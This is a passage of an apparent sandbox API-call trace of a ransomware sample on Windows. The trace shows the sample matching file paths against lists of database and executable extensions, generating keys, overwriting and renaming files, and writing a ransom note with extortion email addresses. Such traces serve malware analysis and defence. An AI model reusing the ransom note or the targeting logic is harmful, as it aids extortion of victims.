	[0088.138] lstrlenW (lpString=".DAT") returned 4
	[0088.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".DAT") returned 0x0
	[0088.138] lstrlenW (lpString=".VHDX") returned 5
	[0088.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".VHDX") returned 0x0
	[0088.138] lstrlenW (lpString=".ndf") returned 4
	[0088.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".ndf") returned 0x0
	[0088.139] lstrlenW (lpString=".DB") returned 3
	[0088.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".DB") returned 0x0
	[0088.139] lstrlenW (lpString=".sql") returned 4
	[0088.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".sql") returned 0x0
	[0088.139] lstrlenW (lpString=".MYD") returned 4
	[0088.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".MYD") returned 0x0
	[0088.139] lstrlenW (lpString=".DBT") returned 4
	[0088.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".DBT") returned 0x0
	[0088.139] lstrlenW (lpString=".ACCDB") returned 6
	[0088.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".ACCDB") returned 0x0
	[0088.139] lstrlenW (lpString=".fdb") returned 4
	[0088.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".fdb") returned 0x0
	[0088.139] lstrlenW (lpString=".bak") returned 4
	[0088.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".bak") returned 0x0
	[0088.139] lstrlenW (lpString=".myd") returned 4
	[0088.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".myd") returned 0x0
	[0088.139] lstrlenW (lpString=".DTXS") returned 5
	[0088.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".DTXS") returned 0x0
	[0088.139] lstrlenW (lpString=".ckp") returned 4
	[0088.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".ckp") returned 0x0
	[0088.139] lstrlenW (lpString=".dbt") returned 4
	[0088.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".dbt") returned 0x0
	[0088.139] lstrlenW (lpString=".db") returned 3
	[0088.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".db") returned 0x0
	[0088.139] lstrlenW (lpString=".TXT") returned 4
	[0088.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".TXT") returned 0x0
	[0088.139] lstrlenW (lpString=".MDF") returned 4
	[0088.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".MDF") returned 0x0
	[0088.139] lstrlenW (lpString=".bdb") returned 4
	[0088.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".bdb") returned 0x0
	[0088.140] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0088.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0088.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0088.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0088.140] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a12e0) returned 1
	[0088.141] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.141] CryptReleaseContext (hProv=0x3a12e0, dwFlags=0x0) returned 1
	[0088.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0088.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0088.141] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20813102970) returned 1
	[0088.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9e54ed70, dwHighDateTime=0x1d60e1e)) 
	[0088.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0088.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0088.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0088.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b0c8
	[0088.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b0c8 | out: hHeap=0x300000) returned 1
	[0088.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0088.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6bf8
	[0088.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0088.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bcbc0
	[0088.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6bf8 | out: hHeap=0x300000) returned 1
	[0088.142] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0088.142] GetLastError () returned 0x0
	[0088.142] GetLastError () returned 0x0
	[0088.142] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0088.142] GetLastError () returned 0x0
	[0088.142] GetLastError () returned 0x0
	[0088.146] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff1a80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.146] WriteFile (in: hFile=0x12c, lpBuffer=0x2895ff0*, nNumberOfBytesToWrite=0xe580, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2895ff0*, lpNumberOfBytesWritten=0x26dfec0*=0xe580, lpOverlapped=0x0) returned 1
	[0088.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2895ff0 | out: hHeap=0x300000) returned 1
	[0088.146] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.146] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.147] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.147] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.147] CloseHandle (hObject=0x12c) returned 1
	[0088.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bcc58
	[0088.147] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL.~~~~" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll.~~~~")) returned 1
	[0088.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bcc58 | out: hHeap=0x300000) returned 1
	[0088.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0088.148] GetLastError () returned 0x0
	[0088.156] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0088.156] WriteFile (in: hFile=0x12c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0088.158] CloseHandle (hObject=0x12c) returned 1
	[0088.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f20d0 | out: hHeap=0x300000) returned 1
	[0088.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f2068 | out: hHeap=0x300000) returned 1
	[0088.158] RtlWakeConditionVariable () returned 0x365f70
	[0088.158] GetCurrentThreadId () returned 0x9cc
	[0088.158] GetCurrentThreadId () returned 0x9cc
	[0088.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x2806200
	[0088.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806258 | out: hHeap=0x300000) returned 1
	[0088.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7810 | out: hHeap=0x300000) returned 1
	[0088.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x2806258
	[0088.158] lstrlenW (lpString=".scr") returned 4
	[0088.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".scr") returned 0x0
	[0088.159] lstrlenW (lpString=".cmd") returned 4
	[0088.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".cmd") returned 0x0
	[0088.159] lstrlenW (lpString=".dll") returned 4
	[0088.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".dll") returned 0x0
	[0088.159] lstrlenW (lpString=".bat") returned 4
	[0088.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".bat") returned 0x0
	[0088.159] lstrlenW (lpString=".cpl") returned 4
	[0088.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".cpl") returned 0x0
	[0088.159] lstrlenW (lpString=".sys") returned 4
	[0088.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".sys") returned 0x0
	[0088.159] lstrlenW (lpString=".msc") returned 4
	[0088.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".msc") returned 0x0
	[0088.159] lstrlenW (lpString=".com") returned 4
	[0088.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".com") returned 0x0
	[0088.159] lstrlenW (lpString=".lnk") returned 4
	[0088.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".lnk") returned 0x0
	[0088.159] lstrlenW (lpString=".msp") returned 4
	[0088.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".msp") returned 0x0
	[0088.159] lstrlenW (lpString=".pif") returned 4
	[0088.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".pif") returned 0x0
	[0088.159] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0088.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch="msp\r\n.pif") returned 0x0
	[0088.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
	[0088.160] lstrlenW (lpString=".sqb") returned 4
	[0088.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".sqb") returned 0x0
	[0088.160] lstrlenW (lpString=".ost") returned 4
	[0088.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".ost") returned 0x0
	[0088.160] lstrlenW (lpString=".txt") returned 4
	[0088.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".txt") returned 0x0
	[0088.160] lstrlenW (lpString=".mdt") returned 4
	[0088.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".mdt") returned 0x0
	[0088.160] lstrlenW (lpString=".BDB") returned 4
	[0088.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".BDB") returned 0x0
	[0088.160] lstrlenW (lpString=".eql") returned 4
	[0088.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".eql") returned 0x0
	[0088.160] lstrlenW (lpString=".DBF") returned 4
	[0088.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".DBF") returned 0x0
	[0088.160] lstrlenW (lpString=".EQL") returned 4
	[0088.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".EQL") returned 0x0
	[0088.160] lstrlenW (lpString=".FDB") returned 4
	[0088.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".FDB") returned 0x0
	[0088.160] lstrlenW (lpString=".EDB") returned 4
	[0088.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".EDB") returned 0x0
	[0088.160] lstrlenW (lpString=".DACPAC") returned 7
	[0088.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".DACPAC") returned 0x0
	[0088.160] lstrlenW (lpString=".VHD") returned 4
	[0088.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".VHD") returned 0x0
	[0088.161] lstrlenW (lpString=".DBV") returned 4
	[0088.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".DBV") returned 0x0
	[0088.161] lstrlenW (lpString=".dacpac") returned 7
	[0088.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".dacpac") returned 0x0
	[0088.161] lstrlenW (lpString=".sdf") returned 4
	[0088.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".sdf") returned 0x0
	[0088.161] lstrlenW (lpString=".accdb") returned 6
	[0088.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".accdb") returned 0x0
	[0088.161] lstrlenW (lpString=".DBX") returned 4
	[0088.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".DBX") returned 0x0
	[0088.161] lstrlenW (lpString=".MDT") returned 4
	[0088.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".MDT") returned 0x0
	[0088.161] lstrlenW (lpString=".SQB") returned 4
	[0088.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".SQB") returned 0x0
	[0088.161] lstrlenW (lpString=".vhd") returned 4
	[0088.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".vhd") returned 0x0
	[0088.161] lstrlenW (lpString=".bac") returned 4
	[0088.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".bac") returned 0x0
	[0088.161] lstrlenW (lpString=".mdf") returned 4
	[0088.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".mdf") returned 0x0
	[0088.161] lstrlenW (lpString=".BAK") returned 4
	[0088.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".BAK") returned 0x0
	[0088.161] lstrlenW (lpString=".BAC") returned 4
	[0088.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".BAC") returned 0x0
	[0088.161] lstrlenW (lpString=".dbs") returned 4
	[0088.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".dbs") returned 0x0
	[0088.161] lstrlenW (lpString=".vhdx") returned 5
	[0088.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".vhdx") returned 0x0
	[0088.162] lstrlenW (lpString=".NDF") returned 4
	[0088.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".NDF") returned 0x0
	[0088.162] lstrlenW (lpString=".dat") returned 4
	[0088.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".dat") returned 0x0
	[0088.162] lstrlenW (lpString=".DBS") returned 4
	[0088.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".DBS") returned 0x0
	[0088.162] lstrlenW (lpString=".CKP") returned 4
	[0088.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".CKP") returned 0x0
	[0088.162] lstrlenW (lpString=".edb") returned 4
	[0088.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".edb") returned 0x0
	[0088.162] lstrlenW (lpString=".PST") returned 4
	[0088.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".PST") returned 0x0
	[0088.162] lstrlenW (lpString=".dbf") returned 4
	[0088.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".dbf") returned 0x0
	[0088.162] lstrlenW (lpString=".SQL") returned 4
	[0088.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".SQL") returned 0x0
	[0088.162] lstrlenW (lpString=".pst") returned 4
	[0088.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".pst") returned 0x0
	[0088.162] lstrlenW (lpString=".dbv") returned 4
	[0088.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".dbv") returned 0x0
	[0088.162] lstrlenW (lpString=".SDF") returned 4
	[0088.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".SDF") returned 0x0
	[0088.162] lstrlenW (lpString=".dtxs") returned 5
	[0088.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".dtxs") returned 0x0
	[0088.162] lstrlenW (lpString=".db3") returned 4
	[0088.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".db3") returned 0x0
	[0088.162] lstrlenW (lpString=".OST") returned 4
	[0088.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".OST") returned 0x0
	[0088.163] lstrlenW (lpString=".dbx") returned 4
	[0088.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".dbx") returned 0x0
	[0088.163] lstrlenW (lpString=".DB3") returned 4
	[0088.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".DB3") returned 0x0
	[0088.163] lstrlenW (lpString=".DAT") returned 4
	[0088.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".DAT") returned 0x0
	[0088.163] lstrlenW (lpString=".VHDX") returned 5
	[0088.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".VHDX") returned 0x0
	[0088.163] lstrlenW (lpString=".ndf") returned 4
	[0088.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".ndf") returned 0x0
	[0088.163] lstrlenW (lpString=".DB") returned 3
	[0088.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".DB") returned 0x0
	[0088.163] lstrlenW (lpString=".sql") returned 4
	[0088.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".sql") returned 0x0
	[0088.163] lstrlenW (lpString=".MYD") returned 4
	[0088.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".MYD") returned 0x0
	[0088.163] lstrlenW (lpString=".DBT") returned 4
	[0088.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".DBT") returned 0x0
	[0088.163] lstrlenW (lpString=".ACCDB") returned 6
	[0088.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".ACCDB") returned 0x0
	[0088.163] lstrlenW (lpString=".fdb") returned 4
	[0088.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".fdb") returned 0x0
	[0088.163] lstrlenW (lpString=".bak") returned 4
	[0088.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".bak") returned 0x0
	[0088.163] lstrlenW (lpString=".myd") returned 4
	[0088.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".myd") returned 0x0
	[0088.164] lstrlenW (lpString=".DTXS") returned 5
	[0088.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".DTXS") returned 0x0
	[0088.164] lstrlenW (lpString=".ckp") returned 4
	[0088.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".ckp") returned 0x0
	[0088.164] lstrlenW (lpString=".dbt") returned 4
	[0088.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".dbt") returned 0x0
	[0088.164] lstrlenW (lpString=".db") returned 3
	[0088.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".db") returned 0x0
	[0088.164] lstrlenW (lpString=".TXT") returned 4
	[0088.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".TXT") returned 0x0
	[0088.164] lstrlenW (lpString=".MDF") returned 4
	[0088.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".MDF") returned 0x0
	[0088.164] lstrlenW (lpString=".bdb") returned 4
	[0088.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".bdb") returned 0x0
	[0088.164] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0088.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\desktop.ini", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0088.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0088.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0088.164] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0a60) returned 1
	[0088.165] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.165] CryptReleaseContext (hProv=0x3a0a60, dwFlags=0x0) returned 1
	[0088.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0088.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0088.165] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20815550693) returned 1
	[0088.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9e59b030, dwHighDateTime=0x1d60e1e)) 
	[0088.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0088.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0088.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0088.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7810
	[0088.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7810 | out: hHeap=0x300000) returned 1
	[0088.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0088.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6bf8
	[0088.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0088.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bcb28
	[0088.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6bf8 | out: hHeap=0x300000) returned 1
	[0088.166] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0088.166] GetLastError () returned 0x0
	[0088.166] GetLastError () returned 0x0
	[0088.166] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0088.166] GetLastError () returned 0x0
	[0088.166] GetLastError () returned 0x0
	[0088.167] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffff52, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.168] WriteFile (in: hFile=0x12c, lpBuffer=0x2895ff0*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2895ff0*, lpNumberOfBytesWritten=0x26dfec0*=0xae, lpOverlapped=0x0) returned 1
